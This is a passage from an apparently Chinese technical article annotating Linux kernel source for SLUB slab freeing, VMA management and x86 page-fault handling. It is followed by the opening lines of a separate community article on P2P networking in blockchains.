// 如果kmem_cache存在cpu_slab->partial且该page无可用obj则冻结page, 后续会被放入cpu_slab->partial
if (kmem_cache_has_cpu_partial(s) && !prior) {
new.frozen = 1;
} else {
// 获得node, 加锁node资源区
n = get_node(s, page_to_nid(page));
spin_lock_irqsave(&n->list_lock, flags);
}
}
// 释放head(正在被释放的obj)进入page(page->freelist=head, page->counters=new.counters)
} while (!cmpxchg_double_slab(s, page,
prior, counters,
head, new.counters,
"__slab_free"));
if (likely(!n)) {
// 如果page没有被冻结, 则将page挂载进入cpu_slab->partial
if (new.frozen && !was_frozen) {
put_cpu_partial(s, page, 1);
stat(s, CPU_PARTIAL_FREE);
}
// page被冻结后只更新"FREE_FROZEN"信息
if (was_frozen)
stat(s, FREE_FROZEN);
return;
}
// 如果page无obj被使用, 且kmem_cache的半满page超过临界点(n->nr_partial >= s->min_partial), 则进行page释放
if (unlikely(!new.inuse && n->nr_partial >= s->min_partial))
goto slab_empty;
// 释放obj后slab从full变为partial
if (!kmem_cache_has_cpu_partial(s) && unlikely(!prior)) {
// 将slab从full链表删除, 插入n->partial链表尾部
remove_full(s, n, page);
add_partial(n, page, DEACTIVATE_TO_TAIL);
stat(s, FREE_ADD_PARTIAL);
}
// 解锁node资源区
spin_unlock_irqrestore(&n->list_lock, flags);
return;
slab_empty:
if (prior) {
// 如果该page存在可用obj, 则该page会在partial链表, 所以在partial链表中将page删除
remove_partial(n, page);
stat(s, FREE_REMOVE_PARTIAL);
} else {
// 将page从full链表中删除
remove_full(s, n, page);
}
spin_unlock_irqrestore(&n->list_lock, flags);
stat(s, FREE_SLAB);
discard_slab(s, page);
}
##### discard_slab
1. discard_slab->dec_slabs_node(更新node信息)
2. discard_slab->free_slab->__free_slab
static void __free_slab(struct kmem_cache *s, struct page *page)
{
// 获得page_order
int order = compound_order(page);
int pages = 1 << order;
if (s->flags & SLAB_CONSISTENCY_CHECKS) {
void *p;
// 对page做安全检查
slab_pad_check(s, page);
// 对page中的每个obj进行安全检测
for_each_object(p, s, page_address(page),
page->objects)
check_object(s, page, p, SLUB_RED_INACTIVE);
}
// 清除page标志位
__ClearPageSlabPfmemalloc(page);
__ClearPageSlab(page);
// page不再被引用
page->mapping = NULL;
// 更新内存回收状态
if (current->reclaim_state)
current->reclaim_state->reclaimed_slab += pages;
// 更新系统状态
uncharge_slab_page(page, order, s);
// 伙伴算法释放内存
__free_pages(page, order);
}
###### slab_pad_check
// 当slab_debug开启后, kmem_cache建立时, 内存空间全部被覆写成0x5a, 一个slab被切割成obj时有可能不能被完全利用, 可能会剩余一些空间(padding), 又因为padding区域在内存分配期间不会被修改, 所以应该一直是0x5a, 本函数通过对0x5a进行检测, 试图发现溢出覆写错误
static int slab_pad_check(struct kmem_cache *s, struct page *page)
{
u8 *start;
u8 *fault;
u8 *end;
u8 *pad;
int length;
int remainder;
// 如果kmem_cache没有配置SLAB_POISON则直接返回
if (!(s->flags & SLAB_POISON))
return 1;
start = page_address(page);
length = page_size(page);
end = start + length;
// 获得切割obj后slab的剩余空间
remainder = length % s->size;
if (!remainder)
return 1;
pad = end - remainder;
metadata_access_enable();
// 访问元数据查看POISON_INUSE magic是否被修改, 定位错误的起始位置
fault = memchr_inv(pad, POISON_INUSE, remainder);
metadata_access_disable();
if (!fault)
return 1;
// 定位数据覆盖的结尾
while (end > fault && end[-1] == POISON_INUSE)
end--;
// 抛出错误, 打印错误覆盖区间
slab_err(s, page, "Padding overwritten. 0x%p-0x%p", fault, end - 1);
print_section(KERN_ERR, "Padding ", pad, remainder);
restore_bytes(s, "slab padding", POISON_INUSE, fault, end);
return 0;
}
###### check_object
// 讲解slub算法的开头, 列出了有关slab_debug所用到的magic_num以及obj内存布局, 本函数对magic_num和freelist进行安全检测
static int check_object(struct kmem_cache *s, struct page *page,
void *object, u8 val)
{
u8 *p = object;
u8 *endobject = object + s->object_size;
// 如果kmem_cache区域配置了SLAB_RED_ZONE, 则对相应的magic_num进行检测
if (s->flags & SLAB_RED_ZONE) {
// 检测red_left_pad
if (!check_bytes_and_report(s, page, object, "Redzone",
object - s->red_left_pad, val, s->red_left_pad))
return 0;
// 检测Redzone
if (!check_bytes_and_report(s, page, object, "Redzone",
endobject, val, s->inuse - s->object_size))
return 0;
} else {
if ((s->flags & SLAB_POISON) && s->object_size < s->inuse) {
// 检测padding区域
check_bytes_and_report(s, page, p, "Alignment padding",
endobject, POISON_INUSE,
s->inuse - s->object_size);
}
}
if (s->flags & SLAB_POISON) {
if (val != SLUB_RED_ACTIVE && (s->flags & __OBJECT_POISON) &&
// 检测obj是否早已被free检测obj[-1]是否为POISON_END(0xa5)
(!check_bytes_and_report(s, page, p, "Poison", p,
POISON_FREE, s->object_size - 1) ||
!check_bytes_and_report(s, page, p, "Poison",
p + s->object_size - 1, POISON_END, 1)))
return 0;
check_pad_bytes(s, page, p);
}
if (!freeptr_outside_object(s) && val == SLUB_RED_ACTIVE)
/*
* Object and freepointer overlap. Cannot check
* freepointer while object is allocated.
*/
return 1;
// 检查freelist是否有效
if (!check_valid_pointer(s, page, get_freepointer(s, p))) {
object_err(s, page, p, "Freepointer corrupt");
// 如果无效则丢弃该freelist链后续object
set_freepointer(s, p, NULL);
return 0;
}
return 1;
}
## 进程vma
* 进程由许多的segment组成, 例如text segment,data segment, bss segment等, segment中被填充各种功能的数据, 每个segment具有不同的权限(r, w, x)
* 对于进程来说segment由什么结构来标识? 这就是接下来要将的进程vma
### vm_area_struct 结构体
* 在进程中每个segment都被描述为vm_area_struct
* task_struct -> mm_struct -> vm_area_struct
struct vm_area_struct {
// 第一个cache line
unsigned long vm_start;
unsigned long vm_end; // vm_area_struct所对应的vma在进程地址空间中的起始和结束地址
struct vm_area_struct *vm_next, *vm_prev; // 按照vma在进程地址空间中的顺序, 将vma链入双链表,
struct rb_node vm_rb; // 红黑树结点
unsigned long rb_subtree_gap; // 记录该vma与上一个vma(可以选择双链表中或者红黑树中)之间的空闲空间大小,
// 第二个cache line
struct mm_struct *vm_mm; // 指向该vma对应的进程的mm_struct结构体
pgprot_t vm_page_prot; // 该vma访问权限
unsigned long vm_flags; // 描述该vma标志位
const struct vm_operations_struct *vm_ops; // 指向function集合, 虚表
unsigned long vm_pgoff; // 以page为单位的文件映射偏移量
struct file * vm_file; // 指向被映射的文件
...
}
### find_vma(vma查找)
struct vm_area_struct *find_vma(struct mm_struct *mm, unsigned long addr)
{
struct rb_node *rb_node;
struct vm_area_struct *vma;
// 在cache中寻找vma
vma = vmacache_find(mm, addr);
if (likely(vma))
return vma;
// 定位红黑树根节点
rb_node = mm->mm_rb.rb_node;
// 在红黑树中查找vma
while (rb_node) {
struct vm_area_struct *tmp;
// 获得当前结点的vm_area_struct
tmp = rb_entry(rb_node, struct vm_area_struct, vm_rb);
if (tmp->vm_end > addr) {
vma = tmp;
if (tmp->vm_start <= addr)
break;
rb_node = rb_node->rb_left;
} else
rb_node = rb_node->rb_right;
}
// 如果查找到的vma有效, 则更新cache
if (vma)
vmacache_update(addr, vma);
return vma;
}
#### vmacache_find
struct vm_area_struct *vmacache_find(struct mm_struct *mm, unsigned long addr)
{
// 通过左移addr, 定位addr对应的index(这个位置可能会存在对应的vma)
int idx = VMACACHE_HASH(addr);
int i;
// 记录事件
count_vm_vmacache_event(VMACACHE_FIND_CALLS);
// 检测mm是否是当前进程的mm_struct, 如果是第一次触发cache, 将进行初始化
if (!vmacache_valid(mm))
return NULL;
// 遍历current->vmacache.vmas[](从idx开始, 因为inx对应的位置cache hit可能性最大)
for (i = 0; i < VMACACHE_SIZE; i++) {
struct vm_area_struct *vma = current->vmacache.vmas[idx];
if (vma) {
#ifdef CONFIG_DEBUG_VM_VMACACHE
if (WARN_ON_ONCE(vma->vm_mm != mm))
break;
#endif
// 判断vma是否匹配
if (vma->vm_start <= addr && vma->vm_end > addr) {
count_vm_vmacache_event(VMACACHE_FIND_HITS);
return vma;
}
}
// inx遍历到VMACACHE_SIZE后, 归0继续遍历(idx是从中间开始遍历的)
if (++idx == VMACACHE_SIZE)
idx = 0;
}
return NULL;
}
### insert_vm_struct(vma插入)
int insert_vm_struct(struct mm_struct *mm, struct vm_area_struct *vma)
{
struct vm_area_struct *prev;
struct rb_node **rb_link, *rb_parent;
// 定位插入vma的目标位置
// prev = rb_parent对应的vm_area_struct
// rb_link = 待插入的位置
// rb_parent = rb_link的父结点
if (find_vma_links(mm, vma->vm_start, vma->vm_end,
&prev, &rb_link, &rb_parent))
return -ENOMEM;
if ((vma->vm_flags & VM_ACCOUNT) &&
security_vm_enough_memory_mm(mm, vma_pages(vma)))
return -ENOMEM;
// 匿名vma要设置页偏移
if (vma_is_anonymous(vma)) {
BUG_ON(vma->anon_vma);
vma->vm_pgoff = vma->vm_start >> PAGE_SHIFT;
}
// 将vma插入vma管理体系
// vma_link -> __vma_link -> __vma_link_list, 将vma插入双链表
// vma_link -> __vma_link -> __vma_link_rb, 将vma插入红黑树
vma_link(mm, vma, prev, rb_link, rb_parent);
return 0;
}
#### find_vma_links
static int find_vma_links(struct mm_struct *mm, unsigned long addr,
unsigned long end, struct vm_area_struct **pprev,
struct rb_node ***rb_link, struct rb_node **rb_parent)
{
struct rb_node **__rb_link, *__rb_parent, *rb_prev;
__rb_link = &mm->mm_rb.rb_node;
rb_prev = __rb_parent = NULL;
while (*__rb_link) {
struct vm_area_struct *vma_tmp;
__rb_parent = *__rb_link;
vma_tmp = rb_entry(__rb_parent, struct vm_area_struct, vm_rb);
if (vma_tmp->vm_end > addr) {
// 如果vma_tmp_end_addr大于vma_end_addr且vma_start_end_addr小于vma_start_addr, 说明vma_tmp和vma重合, 函数报错
if (vma_tmp->vm_start < end)
return -ENOMEM;
// 继续遍历左节点
__rb_link = &__rb_parent->rb_left;
} else {
rb_prev = __rb_parent;
// 继续遍历右节点
__rb_link = &__rb_parent->rb_right;
}
}
// 当__rb_link为空, 即对应结点为空时, 退出遍历红黑树循环
// __rb_link对应空结点, 即目标插入位置
// __rb_parent对应__rb_link的父结点
// pprev对应rb_prev指向的vm_arena_struct
*pprev = NULL;
if (rb_prev)
*pprev = rb_entry(rb_prev, struct vm_area_struct, vm_rb);
*rb_link = __rb_link;
*rb_parent = __rb_parent;
return 0;
}
#### 红黑树规则
* 红黑树规则:
* 节点是红色或黑色
* 根节点是黑色
* 每个叶节点都是黑色的空节点
* 每个红色节点的两个子节点都是黑色(从每个叶子到根的所有路径上不能有两个连续的红色节点)
* 从任一节点到其每个叶子的所有路径都包含相同数目的黑色节点
* 插入节点时通过变色或者旋转维持红黑树规则
## 缺页中断
/*
* Page fault error code bits:
*
* bit 0 == 0: no page found 1: protection fault
* bit 1 == 0: read access 1: write access
* bit 2 == 0: kernel-mode access 1: user-mode access
* bit 3 == 1: use of reserved bit detected
* bit 4 == 1: fault was an instruction fetch
* bit 5 == 1: protection keys block access
*/
enum x86_pf_error_code {
X86_PF_PROT = 1 << 0,
X86_PF_WRITE = 1 << 1,
X86_PF_USER = 1 << 2,
X86_PF_RSVD = 1 << 3,
X86_PF_INSTR = 1 << 4,
X86_PF_PK = 1 << 5,
};
### __do_page_fault源码分析
static noinline void
__do_page_fault(struct pt_regs *regs, unsigned long hw_error_code,
unsigned long address)
{
// 将变量放入cache, 加快速度
prefetchw(¤t->mm->mmap_sem);
// mmiotrace跟踪器, 用于跟踪基于内存映射的io设备
if (unlikely(kmmio_fault(regs, address)))
return;
// 判断缺页中断发生在内核态还是用户态
if (unlikely(fault_in_kernel_space(address)))
do_kern_addr_fault(regs, hw_error_code, address);
else
do_user_addr_fault(regs, hw_error_code, address);
}
### fault_in_kernel_space
* vsyscall和vdso的作用与区别
* 作用: 一般来说, 用户态与内核态通过系统调用进行交互, 但是这种交互非常浪费时间, 那么对于需要实时性的api如gettimeofday等就不太适用, 使用vsyscall或vdso可以加速
* 区别:
* vsyscall是一种比较古老的机制, 他在固定地址映射内核内存页实现快速执行内核功能, 但安全性不高, 被vdso逐渐替代, 但是vdso只存在与动态链接, 静态链接程序没有vdso, 所以为了兼容性, vsyscall被保留下来
* vdso可以应用aslr实现地址随机化, 而且无需考虑cpu差异性
static int fault_in_kernel_space(unsigned long address)
{
// x86_64架构下vsyscall在TASK_SIZE_MAX之上, 但并非内核空间, 所以单独列出
// #define VSYSCALL_ADDR (-10UL << 20), VSYSCALL_ADDR即为vsyscall固定地址(在x86_64架构下(-10)用8字节存储, VSYSCALL_ADDR=0xffffffffff600000)
if (IS_ENABLED(CONFIG_X86_64) && is_vsyscall_vaddr(address))
return false;
// 将大于TASK_SIZE_MAX的地址视为内核空间
return address >= TASK_SIZE_MAX;
}
### do_kern_addr_fault
static void
do_kern_addr_fault(struct pt_regs *regs, unsigned long hw_error_code,
unsigned long address)
{
// X86_PF_PK存在于用户页, 并非内核页
WARN_ON_ONCE(hw_error_code & X86_PF_PK);
// 检测错误是否由于vmalloc fault导致
if (!(hw_error_code & (X86_PF_RSVD | X86_PF_USER | X86_PF_PROT))) {
if (vmalloc_fault(address) >= 0)
return;
}
// 检测错误是否是由于TLB表项陈旧(内核页权限变更后, TLB没有更新)
// 如果TLB表项陈旧导致错误, 那么只有两种可能. 1. 数据写入时TLB(), 2. 指令执行时TLB(NX)
if (spurious_kernel_fault(hw_error_code, address))
return;
// 判断kprobe是否hook了缺页错误
if (kprobe_page_fault(regs, X86_TRAP_PF))
return;
// 非法地址访问导致页错误
bad_area_nosemaphore(regs, hw_error_code, address);
}
#### vmalloc_fault
static noinline int vmalloc_fault(unsigned long address)
{
pgd_t *pgd, *pgd_k;
p4d_t *p4d, *p4d_k;
pud_t *pud;
pmd_t *pmd;
pte_t *pte;
// #define high_memory (-128UL << 20)
// #define VMALLOC_START (((unsigned long)high_memory + VMALLOC_OFFSET) & ~(VMALLOC_OFFSET-1))
// VMALLOC空间和前面保留8M的hole保证安全性
// 经计算VMALLOC_START=0xfffffffff8000000+8M
if (!(address >= VMALLOC_START && address < VMALLOC_END))
return -1;
// 使用vmalloc分配内存后, 内存映射会被直接写入全局内核页表init_mm
// 进程的内核页表是在进程被创建时, 直接复制内核页表获得, 不具备实时性, 所以只有当发生vmalloc缺页中断时, 才会把对应的全局内核页表项复制到进程内核页表
// 获得进程内核页表
pgd = (pgd_t *)__va(read_cr3_pa()) + pgd_index(address);
// 获得全局内核页表
pgd_k = pgd_offset_k(address);
// 将与addr关联的全局内核页表项复制到进程内核页表
if (pgd_none(*pgd_k))
return -1;
if (pgtable_l5_enabled()) {
if (pgd_none(*pgd)) {
set_pgd(pgd, *pgd_k);
arch_flush_lazy_mmu_mode();
} else {
BUG_ON(pgd_page_vaddr(*pgd) != pgd_page_vaddr(*pgd_k));
}
}
// 获得进程内核页表和全局内核页表对应的p4d, 令p4d_proc=p4d_kern实现页表项复制
p4d = p4d_offset(pgd, address);
p4d_k = p4d_offset(pgd_k, address);
if (p4d_none(*p4d_k))
return -1;
if (p4d_none(*p4d) && !pgtable_l5_enabled()) {
set_p4d(p4d, *p4d_k);
arch_flush_lazy_mmu_mode();
} else {
BUG_ON(p4d_pfn(*p4d) != p4d_pfn(*p4d_k));
}
BUILD_BUG_ON(CONFIG_PGTABLE_LEVELS < 4);
// 对pud, pmd, pte做安全检测
pud = pud_offset(p4d, address);
if (pud_none(*pud))
return -1;
if (pud_large(*pud))
return 0;
pmd = pmd_offset(pud, address);
if (pmd_none(*pmd))
return -1;
if (pmd_large(*pmd))
return 0;
pte = pte_offset_kernel(pmd, address);
// 如果pte对应的page并非正在被使用则缺页
if (!pte_present(*pte))
return -1;
return 0;
}
#### spurious_kernel_fault
static noinline int
spurious_kernel_fault(unsigned long error_code, unsigned long address)
{
pgd_t *pgd;
p4d_t *p4d;
pud_t *pud;
pmd_t *pmd;
pte_t *pte;
int ret;
// 由于TLB表项陈旧导致的虚假错误, 给出的错误原因只有两种:写入(X86_PF_WRITE), 指令执行(X86_PF_INSTR)
if (error_code != (X86_PF_WRITE | X86_PF_PROT) &&
error_code != (X86_PF_INSTR | X86_PF_PROT))
return 0;
// 定位内核页表
pgd = init_mm.pgd + pgd_index(address);
// 判断pgd是否在内存中
if (!pgd_present(*pgd))
return 0;
// 通过偏移获得p4d表项
p4d = p4d_offset(pgd, address);
if (!p4d_present(*p4d))
return 0;
// 如果在p4d表项处开启huge page机制, 则直接进入spurious_kernel_fault_check
/* spurious_kernel_fault_check:
if ((error_code & X86_PF_WRITE) && !pte_write(*pte))
return 0;
if ((error_code & X86_PF_INSTR) && !pte_exec(*pte))
return 0;
return 1;
*/
// 检测是否是因为tlb项老旧导致错误
if (p4d_large(*p4d))
return spurious_kernel_fault_check(error_code, (pte_t *) p4d);
// 以下处理流程相同, 不再描述
pud = pud_offset(p4d, address);
if (!pud_present(*pud))
return 0;
if (pud_large(*pud))
return spurious_kernel_fault_check(error_code, (pte_t *) pud);
pmd = pmd_offset(pud, address);
if (!pmd_present(*pmd))
return 0;
if (pmd_large(*pmd))
return spurious_kernel_fault_check(error_code, (pte_t *) pmd);
pte = pte_offset_kernel(pmd, address);
if (!pte_present(*pte))
return 0;
ret = spurious_kernel_fault_check(error_code, pte);
if (!ret)
return 0;
ret = spurious_kernel_fault_check(error_code, (pte_t *) pmd);
// 如果在pte阶段还是没有检测到虚假错误则报一个bug
WARN_ONCE(!ret, "PMD has incorrect permission bits\n");
return ret;
}
#### bad_area_nosemaphore
* bad_area_nosemaphore -> __bad_area_nosemaphore
static void
__bad_area_nosemaphore(struct pt_regs *regs, unsigned long error_code,
unsigned long address, u32 pkey, int si_code)
{
struct task_struct *tsk = current;
// 如果请求来自用户态, 说明想要越界访问内核空间
if (user_mode(regs) && (error_code & X86_PF_USER)) {
local_irq_enable();
/*
* Valid to do another page fault here because this one came
* from user space:
*/
// 不忽略nx页上的取指错误
if (is_prefetch(regs, error_code, address))
return;
if (is_errata100(regs, address))
return;
// 为了防止内核页表布局被泄露, 这里把用户态访问内核空间错误伪造成protection faults
if (address >= TASK_SIZE_MAX)
error_code |= X86_PF_PROT;
if (likely(show_unhandled_signals))
// 打印错误信息
show_signal_msg(regs, error_code, address, tsk);
set_signal_archinfo(address, error_code);
if (si_code == SEGV_PKUERR)
force_sig_pkuerr((void __user *)address, pkey);
// 发送SIGSEGV信号
force_sig_fault(SIGSEGV, si_code, (void __user *)address);
return;
}
if (is_f00f_bug(regs, address))
return;
// 在内核中发生内核缺页
no_context(regs, error_code, address, SIGSEGV, si_code);
}
##### no_context
static noinline void
no_context(struct pt_regs *regs, unsigned long error_code,
unsigned long address, int signal, int si_code)
{
struct task_struct *tsk = current;
unsigned long flags;
int sig;
if (user_mode(regs)) {
// 用户模式访问内核态, 直接oops
goto oops;
}
// 搜索异常表, 试图找到一个对应该异常的例程来进行修正
if (fixup_exception(regs, X86_TRAP_PF, error_code, address)) {
// 任何中断错误都会在fixup_exception中获得处理, 下面的错误处理流程只用于任务上下文中的错误
if (in_interrupt())
return;
if (current->thread.sig_on_uaccess_err && signal) {
set_signal_archinfo(address, error_code);
force_sig_fault(signal, si_code, (void __user *)address);
}
return;
}
/*
* 32-bit:
*
* Valid to do another page fault here, because if this fault
* had been triggered by is_prefetch fixup_exception would have
* handled it.
*
* 64-bit:
*
* Hall of CPU/BIOS bugs.
*/
if (is_prefetch(regs, error_code, address))
return;
if (is_errata93(regs, address))
return;
// 固件访问错误恢复
if (IS_ENABLED(CONFIG_EFI))
efi_recover_from_page_fault(address);
oops:
// 确定时内核缺陷, 使用oops打印错误...
flags = oops_begin();
show_fault_oops(regs, error_code, address);
if (task_stack_end_corrupted(tsk))
printk(KERN_EMERG "Thread overran stack, or stack corrupted\n");
sig = SIGKILL;
if (__die("Oops", regs, error_code))
sig = 0;
/* Executive summary in case the body of the oops scrolled away */
printk(KERN_DEFAULT "CR2: %016lx\n", address);
oops_end(flags, regs, sig);
}
### do_user_addr_fault
static inline
void do_user_addr_fault(struct pt_regs *regs,
unsigned long hw_error_code,
unsigned long address)
{
struct vm_area_struct *vma;
struct task_struct *tsk;
struct mm_struct *mm;
vm_fault_t fault, major = 0;
unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
tsk = current;
mm = tsk->mm;
// 判断kprobe是否hook了缺页错误
if (unlikely(kprobe_page_fault(regs, X86_TRAP_PF)))
return;
// Reserved bits不会被设置在用户的页表项, 如果存在Reserved bits则发生页表错误
if (unlikely(hw_error_code & X86_PF_RSVD))
pgtable_bad(regs, hw_error_code, address);
// 如果开启smap且kernel(supervisor)访问用户态地址(X86_PF_USER=0)则进入bad_area_nosemaphore
if (unlikely(cpu_feature_enabled(X86_FEATURE_SMAP) &&
!(hw_error_code & X86_PF_USER) &&
!(regs->flags & X86_EFLAGS_AC)))
{
bad_area_nosemaphore(regs, hw_error_code, address);
return;
}
/*
* If we're in an interrupt, have no user context or are running
* in a region with pagefaults disabled then we must not take the fault
*/
if (unlikely(faulthandler_disabled() || !mm)) {
bad_area_nosemaphore(regs, hw_error_code, address);
return;
}
// 因为到达这一步时cr2中的虚拟地址已经被另存且vmalloc_fault被处理所以开启中断是安全可行的
if (user_mode(regs)) {
local_irq_enable();
flags |= FAULT_FLAG_USER;
} else {
if (regs->flags & X86_EFLAGS_IF)
local_irq_enable();
}
// 记录事件
perf_sw_event(PERF_COUNT_SW_PAGE_FAULTS, 1, regs, address);
// 更新flags标志位(后面引用)
if (hw_error_code & X86_PF_WRITE)
flags |= FAULT_FLAG_WRITE;
if (hw_error_code & X86_PF_INSTR)
flags |= FAULT_FLAG_INSTRUCTION;
#ifdef CONFIG_X86_64
// vsyscall没有vma, 所以在find_vma之前对vsyscall做模拟
if (is_vsyscall_vaddr(address)) {
if (emulate_vsyscall(hw_error_code, regs, address))
return;
}
#endif
// 1. 内核只能访问用户地址空间的在exception_tables上定义的指令, 如果直接进行这样的尝试(但指令却在exception_tables之外)则会因为持有了mmap_sem锁, 而让系统死锁
// 2. 所以, 只有当获得mmap_sem锁失败后, 才能尝试使用1.
if (unlikely(!down_read_trylock(&mm->mmap_sem))) {
if (!user_mode(regs) && !search_exception_tables(regs->ip)) {
bad_area_nosemaphore(regs, hw_error_code, address);
return;
}
retry:
down_read(&mm->mmap_sem);
} else {
// 如果获得mmap_sem锁成功则会错过down_read内的might_sleep, 这里补一个might_sleep
might_sleep();
}
// 判断vma是否合法
vma = find_vma(mm, address);
if (unlikely(!vma)) {
bad_area(regs, hw_error_code, address);
return;
}
// 做简单的安全检测
if (likely(vma->vm_start <= address))
goto good_area;
// 判断vma是否向下增加
if (unlikely(!(vma->vm_flags & VM_GROWSDOWN))) {
bad_area(regs, hw_error_code, address);
return;
}
// 如果address在栈空间, 则根据address和vma->start的关系决定是否扩充栈
// 如果address < vma->start, 则另vma->start=address向下扩充stack
if (unlikely(expand_stack(vma, address))) {
bad_area(regs, hw_error_code, address);
return;
}
good_area:
// 判断是否因为页操作与vma权限不符(保留X86_PF_PK错误, 因为这是留给写时复制的, 并非权限错误)
if (unlikely(access_error(hw_error_code, vma))) {
bad_area_access_error(regs, hw_error_code, address, vma);
return;
}
// 缺页处理
fault = handle_mm_fault(vma, address, flags);
...
#### handle_mm_fault
static vm_fault_t __handle_mm_fault(struct vm_area_struct *vma,
unsigned long address, unsigned int flags)
{
struct vm_fault vmf = {
.vma = vma,
.address = address & PAGE_MASK,
.flags = flags,
.pgoff = linear_page_index(vma, address),
.gfp_mask = __get_fault_gfp_mask(vma),
};
unsigned int dirty = flags & FAULT_FLAG_WRITE;
// 以vma->vm_mm为根结点遍历页表, 定位到pmd
struct mm_struct *mm = vma->vm_mm;
pgd_t *pgd;
p4d_t *p4d;
vm_fault_t ret;
// 定位pgd
pgd = pgd_offset(mm, address);
// 如果没开5级页表直接返回pgd
p4d = p4d_alloc(mm, pgd, address);
if (!p4d)
return VM_FAULT_OOM;
// 定位pud
vmf.pud = pud_alloc(mm, p4d, address);
if (!vmf.pud)
return VM_FAULT_OOM;
// 中间表项为空, 且开启huge_page, 设置
// 如果pud为空, 且vma可以创建透明的huge_page, 则create_huge_pud触发huge_page错误(匿名页不支持)
if (pud_none(*vmf.pud) && __transparent_hugepage_enabled(vma)) {
ret = create_huge_pud(&vmf);
if (!(ret & VM_FAULT_FALLBACK))
return ret;
} else {
pud_t orig_pud = *vmf.pud;
barrier();
// pud具有_PAGE_PSE标志位, 且pud为devmap
if (pud_trans_huge(orig_pud) || pud_devmap(orig_pud)) {
// pud将要被更新为脏页
if (dirty && !pud_write(orig_pud)) {
// 触发huge_page错误(匿名页不支持)
ret = wp_huge_pud(&vmf, orig_pud);
if (!(ret & VM_FAULT_FALLBACK))
return ret;
} else {
huge_pud_set_accessed(&vmf, orig_pud);
return 0;
}
}
}
vmf.pmd = pmd_alloc(mm, vmf.pud, address);
if (!vmf.pmd)
return VM_FAULT_OOM;
// 如果pmd为空, 且vma可以创建透明的huge_page, 则create_huge_pmd创建大页
if (pmd_none(*vmf.pmd) && __transparent_hugepage_enabled(vma)) {
ret = create_huge_pmd(&vmf);
if (!(ret & VM_FAULT_FALLBACK))
return ret;
} else {
pmd_t orig_pmd = *vmf.pmd;
barrier();
// 判断pmd是否在swap分区(不在内存中)
if (unlikely(is_swap_pmd(orig_pmd))) {
// 如果支持迁移但并非迁移pmd入口, 则上报bug
VM_BUG_ON(thp_migration_supported() &&
!is_pmd_migration_entry(orig_pmd));
if (is_pmd_migration_entry(orig_pmd))
pmd_migration_entry_wait(mm, vmf.pmd);
return 0;
}
// pud具有_PAGE_PSE标志位, 且pud为devmap
if (pmd_trans_huge(orig_pmd) || pmd_devmap(orig_pmd)) {
if (pmd_protnone(orig_pmd) && vma_is_accessible(vma))
return do_huge_pmd_numa_page(&vmf, orig_pmd);
if (dirty && !pmd_write(orig_pmd)) {
ret = wp_huge_pmd(&vmf, orig_pmd);
if (!(ret & VM_FAULT_FALLBACK))
return ret;
} else {
huge_pmd_set_accessed(&vmf, orig_pmd);
return 0;
}
}
}
// vmf被填充, 下一步根据vmf分配物理页
return handle_pte_fault(&vmf);
}
##### handle_pte_fault
static vm_fault_t handle_pte_fault(struct vm_fault *vmf)
{
pte_t entry;
// 若pmd不存在, 则pte不存在
if (unlikely(pmd_none(*vmf->pmd))) {
vmf->pte = NULL;
} else {
// pmd_devmap_trans_unstable{return pmd_devmap(*pmd) || pmd_trans_unstable(pmd);}
// pmd_devmap检测pmd是否为_PAGE_DEVMAP, 如果是则直接返回1
//
// pmd_trans_unstable->pmd_none_or_trans_huge_or_clear_bad{...}
// 检测pmd是否为空, 或者是否可以转换为huge_page, 否则进入pmd_clear_bad
// 提前检测_PAGE_DEVMAP, 可以避免后面devmap页进入pmd_none_or_trans_huge_or_clear_bad后陷入pmd_clear_bad, 而滥用dmesg打印错误
// pmd_devmap_trans_unstable=pmd_devmap+pmd_trans_unstable 可这个命名太抽象 =.=
if (pmd_devmap_trans_unstable(vmf->pmd))
return 0;
// 此时pmd存在且不可能变成huge_pmd, 使用pte_offset_map是安全的
vmf->pte = pte_offset_map(vmf->pmd, vmf->address);
vmf->orig_pte = *vmf->pte;
barrier();
if (pte_none(vmf->orig_pte)) {
pte_unmap(vmf->pte);
vmf->pte = NULL;
}
}
// pte为空, 分配页表
if (!vmf->pte) {
if (vma_is_anonymous(vmf->vma))
// 处理匿名页
return do_anonymous_page(vmf);
else
// 处理文件映射页
return do_fault(vmf);
}
// ----------- 物理页存在 -----------
// 页表已建立, 但不存在与内存, 做页交换
if (!pte_present(vmf->orig_pte))
return do_swap_page(vmf);
if (pte_protnone(vmf->orig_pte) && vma_is_accessible(vmf->vma))
// 维持node平衡, 进行页迁移
return do_numa_page(vmf);
vmf->ptl = pte_lockptr(vmf->vma->vm_mm, vmf->pmd);
spin_lock(vmf->ptl);
entry = vmf->orig_pte;
// 锁定资源区后, 检测pte是否发生变化, 如果发生, 直接解锁资源区 return
if (unlikely(!pte_same(*vmf->pte, entry)))
goto unlock;
// 因写入而触发中断
if (vmf->flags & FAULT_FLAG_WRITE) {
if (!pte_write(entry))
// 写时复制缺页中断
return do_wp_page(vmf);
// 标记脏页
entry = pte_mkdirty(entry);
}
entry = pte_mkyoung(entry);
// 如果pte内容没有变化进入else
if (ptep_set_access_flags(vmf->vma, vmf->address, vmf->pte, entry,
vmf->flags & FAULT_FLAG_WRITE)) {
// pte内容更改, 刷新mmu
update_mmu_cache(vmf->vma, vmf->address, vmf->pte);
} else {
// 如果pte没有发生变化, 且是写中断错误, 这里可能对应写时复制, 所以更新tlb
if (vmf->flags & FAULT_FLAG_WRITE)
flush_tlb_fix_spurious_fault(vmf->vma, vmf->address);
}
unlock:
pte_unmap_unlock(vmf->pte, vmf->ptl);
return 0;
}
## ptmalloc
> ptmalloc是linux 用户态堆管理机制, 也是本文源码分析的最后一部分, 链接如下:
[ptmalloc源码解析](https://www.povcfe.site/posts/ptmalloc/)
## 杂记
* 山高路远不畏险
* 还有很多需要写的东西, 留给下一篇文章
* * * | 社区文章 |
区块链技术大量依赖于P2P网络，可以说没有P2P就没有区块链现在的发展。而区块链拥有去中心化的应用理论，所以对P2P的过程有着近似严苛的安全要求。本文围绕P2P网络的基础架构以及安全协议展开论述。内容是通过我的大量文献阅读之后进行的提炼。希望大家多多交流！
### 一、概述P2P网络
#### 1 何为P2P？
